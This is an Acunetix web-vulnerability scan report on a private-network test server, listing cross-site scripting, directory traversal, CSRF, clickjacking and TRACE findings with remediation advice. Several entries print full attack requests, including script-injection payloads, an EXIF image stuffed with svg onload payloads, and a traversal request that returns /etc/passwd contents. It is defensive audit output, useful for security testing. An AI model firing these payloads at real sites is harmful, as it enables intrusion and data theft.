acunetix

Affected Items Report

Acunetix Security Audit

06 October 2019

Generated by Acunetix

Scan of 192.168.145.151

Scan details

Scan information	
Start time	06/10/2019, 13:52:06
Start url	http://192.168.145.151:6656/
Host	192.168.145.151
Scan time	22 minutes, 37 seconds
Profile	Full Scan
Server information	Apache/2.4.41 (Unix)
Responsive	True
Server OS	Unix

Threat level

Acunetix Threat Level 3

One or more high-severity type vulnerabilities have been discovered by the scanner. A malicious user can exploit these vulnerabilities and compromise the backend database and/or deface your website.

Alerts distribution

Total alerts found	19
High	8
Medium	2
Low	4
Informational	5

Affected items

/cgi-bin/file.pl	
Alert group	**Cross site scripting (verified)**
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	POST (multipart) input **file** was set to **1'"()&%<acx><ScRiPt >lOKA(9442)</ScRiPt>**

```
POST /cgi-bin/file.pl HTTP/1.1
Content-Type: multipart/form-data; boundary=----------hkbqfXmTX92A
Referer: http://192.168.145.151:6656/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 312
Host: 192.168.145.151:6656
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
------------hkbqfXmTX92A
Content-Disposition: form-data; name=&quot;Submit!&quot;
Submit!=Submit!
------------hkbqfXmTX92A
Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;1&apos;&quot;
()&amp;%&lt;acx&gt;&lt;ScRiPt &gt;lOKA(9442)&lt;/ScRiPt&gt;&quot;
Content-Type: image/png
1&apos;&quot;()&amp;%&lt;acx&gt;&lt;ScRiPt &gt;lOKA(9442)&lt;/ScRiPt&gt;
------------hkbqfXmTX92A--
```

/cgi-bin/forms.pl	
Alert group	**Cross site scripting (verified)**
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	POST (multipart) input **age** was set to **20'"()&%<acx><ScRiPt >OXSp(9951)</ScRiPt>**

```
POST /cgi-bin/forms.pl?name=1 HTTP/1.1
Content-Type: multipart/form-data; boundary=----------I3EAIyRBZwel
Referer: http://192.168.145.151:6656/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 317
Host: 192.168.145.151:6656
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
------------I3EAIyRBZwel
Content-Disposition: form-data; name=&quot;Submit!&quot;
Submit!=Submit!
------------I3EAIyRBZwel
Content-Disposition: form-data; name=&quot;age&quot;
20&apos;&quot;()&amp;%&lt;acx&gt;&lt;ScRiPt &gt;OXSp(9951)&lt;/ScRiPt&gt;
------------I3EAIyRBZwel
Content-Disposition: form-data; name=&quot;name&quot;
fnfOzvSR
------------I3EAIyRBZwel--
```

/cgi-bin/forms.pl	
Alert group	**Cross site scripting (verified)**
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	POST (multipart) input **age** was set to **20'"()&%<acx><ScRiPt >Ge5j(9806)</ScRiPt>**

```
POST /cgi-bin/forms.pl HTTP/1.1
Content-Type: multipart/form-data; boundary=----------YGTDgcq2K5UZ
Referer: http://192.168.145.151:6656/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 317
Host: 192.168.145.151:6656
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
------------YGTDgcq2K5UZ
Content-Disposition: form-data; name=&quot;Submit!&quot;
Submit!=Submit!
------------YGTDgcq2K5UZ
Content-Disposition: form-data; name=&quot;age&quot;
20&apos;&quot;()&amp;%&lt;acx&gt;&lt;ScRiPt &gt;Ge5j(9806)&lt;/ScRiPt&gt;
------------YGTDgcq2K5UZ
Content-Disposition: form-data; name=&quot;name&quot;
fnfOzvSR
------------YGTDgcq2K5UZ--
```

/cgi-bin/forms.pl	
Alert group	**Cross site scripting (verified)**
Severity	High

Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	URL encoded GET input **name** was set to **1'"()&%<acx><ScRiPt >a6qV(9919)</ScRiPt>**

```
GET /cgi-bin/forms.pl?name=1&amp;apos;&amp;quot;
()%26%25&amp;lt;acx&amp;gt;&amp;lt;ScRiPt%20&amp;gt;a6qV(9919)&amp;lt;/ScRiPt&amp;gt; HTTP/1.1
Referer: http://192.168.145.151:6656/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: 192.168.145.151:6656
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/cgi-bin/forms.pl	
Alert group	**Cross site scripting (verified)**
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	POST (multipart) input **name** was set to **fnfOzvSR'"()&%<acx><ScRiPt >OXSp(9079) </ScRiPt>**

```
POST /cgi-bin/forms.pl?name=1 HTTP/1.1
Content-Type: multipart/form-data; boundary=----------5Td04q4jvRqE
Referer: http://192.168.145.151:6656/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 317
Host: 192.168.145.151:6656
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
------------5Td04q4jvRqE
Content-Disposition: form-data; name=&amp;quot;Submit!&amp;quot;
Submit!=Submit!
------------5Td04q4jvRqE
Content-Disposition: form-data; name=&amp;quot;age&amp;quot;
20
------------5Td04q4jvRqE
Content-Disposition: form-data; name=&amp;quot;name&amp;quot;
fnfOzvSR&amp;apos;&amp;quot;()&amp;amp;%&amp;lt;acx&amp;gt;&amp;lt;ScRiPt &amp;gt;OXSp(9079)&amp;lt;/ScRiPt&amp;gt;
------------5Td04q4jvRqE--
```

/cgi-bin/forms.pl	
Alert group	**Cross site scripting (verified)**
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	POST (multipart) input **name** was set to **fnfOzvSR'"()&%<acx><ScRiPt >Ge5j(9994)</ScRiPt>**

```
POST /cgi-bin/forms.pl HTTP/1.1
Content-Type: multipart/form-data; boundary=----------T6bigxs1dBpp
Referer: http://192.168.145.151:6656/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 317
Host: 192.168.145.151:6656
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
------------T6bigxs1dBpp
Content-Disposition: form-data; name=&quot;Submit!&quot;
Submit!=Submit!
------------T6bigxs1dBpp
Content-Disposition: form-data; name=&quot;age&quot;
20
------------T6bigxs1dBpp
Content-Disposition: form-data; name=&quot;name&quot;
fnfOzvSR&apos;&quot;()&amp;%&lt;acx&gt;&lt;ScRiPt &gt;Ge5j(9994)&lt;/ScRiPt&gt;
------------T6bigxs1dBpp--
```

/cgi-bin/file.pl	
Alert group	**Directory traversal**
Severity	High
Description	This script is possibly vulnerable to directory traversal attacks. Directory Traversal is a vulnerability which allows attackers to access restricted directories and read files outside of the web server's root directory.
Recommendations	Your script should filter metacharacters from user input.
Alert variants	
Details	POST (multipart) input **file** was set to File contents found: `root:x:0:0:root:/root:/bin/ash`

```
POST /cgi-bin/file.pl?/etc/passwd HTTP/1.1
Content-type: multipart/form-data; boundary=---------------------------23780209327207
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 287
Host: 192.168.145.151:6656
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
---------------------------23780209327207
Content-Disposition: form-data; name=&quot;file&quot;
ARGV
---------------------------23780209327207
Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;1.txt&quot;
Content-Type: text/plain
test
---------------------------23780209327207--
```

/cgi-bin/file.pl

Alert group	File upload XSS
Severity	High
Description	This script is possibly vulnerable to XSS (Cross-site scripting). The web application allows file upload and Acunetix was able to upload a file containing HTML content. When HTML files are allowed, XSS payload can be injected in the file uploaded. Check **Attack details** for more information about this attack.
Recommendations	Restrict file types accepted for upload: check the file extension and only allow certain files to be uploaded. Use a whitelist approach instead of a blacklist. Check for double extensions such as .php.png. Check for files without a filename like .htaccess (on ASP.NET, check for configuration files like web.config). Change the permissions on the upload folder so the files within it are not executable. If possible, rename the files that are uploaded.
Alert variants	
Details	Successfully uploaded file **AcuTestEXIF9623.jpg** with content type **image/jpeg**. The file contains EXIF entries containing XSS payloads. It looks like the web application processed the image and displayed their values without proper sanitization.

```
POST /cgi-bin/file.pl HTTP/1.1
Content-Type: multipart/form-data; boundary=----------d5qO2tsoYz7m
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 7136
Host: 192.168.145.151:6656
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
------------d5qO2tsoYz7m
Content-Disposition: form-data; name=&quot;Submit!&quot;
Submit!=Submit!
------------d5qO2tsoYz7m
Content-Disposition: form-data; name=&quot;file&quot;;
filename=&quot;AcuTestEXIF9623.jpg&quot;
Content-Type: image/jpeg
????NULSOAdobeNULdNULNULNULNULSOH??DLE?ExifNULNULMMNUL*NULNULNULBSNULFFSOHSONULSTXNULNULNULFSNULNULBS4SOHSINULSTXNULNULNULFSNULNULACK?
SOHDLENULSTXNULNULNULFSNULNULBEL?SOH;NULSTXNULNULNULFSNULNULBSSO??NULSTXNULNULNULFSNULNULACK??iNULEOTNULNULNULSOHNULNULBSb??
NULSOHNULNULNUL8NULNULBEL???NULSOHNULNULNUL8NULNULACK^??NULSOHNULNULNUL8NULNULBELX??NULSOHNULNULNUL8NULNULACK&amp;??
NULSOHNULNULNUL8NULNULBELNUL?FSNULBELNULNULENQ?NULNULNUL?NULNULNULNULFS?NULNULNULBSNULNULBELNULNULNULPBSNULNULETXNULNULNUL?BELNULNUL
NULNULNUL*BSNULNUL
NULNULNULTBSNULNULNULNULNUL8BELNULNUL NULNULNUL?BELNULNUL NULNULNUL?
ACKNULNUL1NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
```

```
&lt;svg
onload=alert(7346763)&gt;&lt;svg
onload=alert(7346763)&gt;&lt;svg
onload=alert(7346763)&gt;&lt;svg onload=alert(7346763)&gt;
onload=alert&apos;exif&apos;)&gt;&lt;svg
onload=alert&apos;exif&apos;)&gt;;&lt;svg
onload=alert(7346763)&gt;nload=alert(1)&gt;&lt;svg
onload=alert(7346763)&gt;nload=alert(1)&gt;&lt;svg
onload=alert(7346763)&gt;alert(1)&gt;&lt;svg
onload=alert(7346763)&gt;&lt;svg onload=alert(7346763)&gt;alert(1)&gt;&lt;svg
onload=alert(7346763)&gt;oufuck you too?t?
```

```
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL??BS?
http://ns.adobe.com/xap/1.0/NUL&lt;?xpacket begin=&apos;&apos;
id=&apos;W5M0MpCehiHzreSzNTczkc9d&apos;?&gt;
&lt;x:xmpmeta xmlns:x=&quot;adobe:ns:meta/&quot;&gt;&lt;rdf:RDF
xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;&lt;rdf:Description
rdf:about=&quot;uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b&quot;
xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&gt;&lt;dc:rights&gt;&lt;rdf:Alt
xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;&lt;rdf:li
xml:lang=&quot;x-default&quot;&gt;&amp;lt;svg
onload=alert(7346763)&amp;gt;&lt;/rdf:li&gt;&lt;/rdf:Alt&gt;
&lt;/dc:rights&gt;&lt;dc:title&gt;&lt;rdf:Alt
xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;&lt;rdf:li
xml:lang=&quot;x-default&quot;&gt;&amp;lt;svg
onload=alert(7346763)&amp;gt;&lt;/rdf:li&gt;&lt;/rdf:Alt&gt;
&lt;/dc:title&gt;&lt;dc:description&gt;&lt;rdf:Alt
xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;&lt;rdf:li
xml:lang=&quot;x-default&quot;&gt;&amp;lt;svg
onload=alert(7346763)&amp;gt;&lt;/rdf:li&gt;&lt;/rdf:Alt&gt;
&lt;/dc:description&gt;&lt;dc:creator&gt;&lt;rdf:Seq
xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-
ns#&quot;&gt;&lt;rdf:li&gt;&amp;lt;svg
onload=alert(7346763)&amp;gt;&lt;/rdf:li&gt;&lt;/rdf:Seq&gt;
&lt;/dc:creator&gt;&lt;dc:subject&gt;&lt;rdf:Bag
xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-
ns#&quot;&gt;&lt;rdf:li&gt;&amp;lt;svg
onload=alert(7346763)&amp;gt;&lt;/rdf:li&gt;&lt;/rdf:Bag&gt;
&lt;/dc:subject&gt;&lt;/rdf:Description&gt;&lt;rdf:Description
rdf:about=&quot;uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b&quot;
xmlns:MicrosoftPhoto=&quot;http://ns.microsoft.com/photo/1.0/&quot;&gt;&lt;MicrosoftPhoto
:CameraSerialNumber&gt;&amp;lt;svg
onload=alert(7346763)&amp;gt;&lt;/MicrosoftPhoto:CameraSerialNumber&gt;&lt;MicrosoftPhoto
:FlashManufacturer&gt;&amp;lt;svg
onload=alert(7346763)&amp;gt;&lt;/MicrosoftPhoto:FlashManufacturer&gt;&lt;MicrosoftPhoto:
FlashModel&gt;&amp;lt;svg
onload=alert(7346763)&amp;gt;&lt;/MicrosoftPhoto:FlashModel&gt;&lt;MicrosoftPhoto:LensMan
ufacturer&gt;&amp;lt;svg
onload=alert(7346763)&amp;gt;&lt;/MicrosoftPhoto:LensManufacturer&gt;&lt;MicrosoftPhoto:L
ensModel&gt;&amp;lt;svg
onload=alert(7346763)&amp;gt;&lt;/MicrosoftPhoto:LensModel&gt;&lt;MicrosoftPhoto:LastKeyw
ordXMP&gt;&lt;rdf:Bag xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-
ns#&quot;&gt;&lt;rdf:li&gt;&amp;lt;svg
onload=alert(7346763)&amp;gt;&lt;/rdf:li&gt;&lt;/rdf:Bag&gt;
&lt;/MicrosoftPhoto:LastKeywordXMP&gt;&lt;/rdf:Description&gt;&lt;rdf:Description
rdf:about=&quot;uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b&quot;
xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;/&gt;&lt;/rdf:RDF&gt;&lt;/x:xmpmeta&
gt;

&lt;?xpacket end=&apos;w&apos;?&gt;??NULCNULESCSUBSUB)GS)A&amp;&amp;AB///BG?&gt;&gt;?
GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG??NULCSOHGS))4&amp;4?((?G?5?
GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG??NULDC1BSNUL?NUL?ETXSOH&quot;NULSTXDC1SOHETXDC1SOH??
NULNAKNULSOHSOHNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULACK??NULDC4DLESOHNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL??
```

```
NULDC4SOHSOHNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL??NULDC4DC1SOHNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL??NUL FF ETXSOHNULSTXDC1ETXDC1NUL?
NUL?
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNUL
NULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULNULSOH??
------------d5qO2tsoYz7m--
```


/cgi-bin/file.pl	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.
Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: <empty> Form method: POST Form inputs: • file [file] • Submit! [submit]

```
GET /cgi-bin/file.pl HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: 192.168.145.151:6656
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/cgi-bin/forms.pl

Alert group	HTML form without CSRF protection
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.
Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: <empty> Form method: POST Form inputs: • name [text] • age [text] • Submit! [submit]

```
GET /cgi-bin/forms.pl HTTP/1.1
Referer: https://www.google.com/search?hl=en&amp;q=testing
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/73.0.3683.103 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: 192.168.145.151:6656
Connection: Keep-alive
```

Web Server	
Alert group	**Clickjacking: X-Frame-Options header missing**
Severity	Low

Description	Clickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages. The server didn't return an **X-Frame-Options** header which means that this website could be at risk of a clickjacking attack. The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page inside a frame or iframe. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites.
Recommendations	Configure your web server to include an X-Frame-Options header and a CSP header with frame-ancestors directive. Consult Web references for more information about the possible values for this header.
Alert variants	
Details	

```
GET / HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: 192.168.145.151:6656
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/cgi-bin/file.pl	
Alert group	**File upload**
Severity	Low
Description	This page allows visitors to upload files to the server. Various web applications allow users to upload files (such as pictures, images, sounds, ...). Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.
Recommendations	Restrict file types accepted for upload: check the file extension and only allow certain files to be uploaded. Use a whitelist approach instead of a blacklist. Check for double extensions such as .php.png. Check for files without a filename like .htaccess (on ASP.NET, check for configuration files like web.config). Change the permissions on the upload folder so the files within it are not executable. If possible, rename the files that are uploaded.
Alert variants	
Details	Form name: <empty> Form action: <empty> Form method: POST Form input: • file [file]

```
GET /cgi-bin/file.pl HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: 192.168.145.151:6656
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

Web Server	
Alert group	**TRACE method is enabled**
Severity	Low

Description	HTTP TRACE method is enabled on this web server. In the presence of other cross-domain vulnerabilities in web browsers, sensitive header information could be read from any domains that support the HTTP TRACE method.
Recommendations	Disable TRACE Method on the web server.
Alert variants	
Details	

```
TRACE /HgTCczZnNI HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
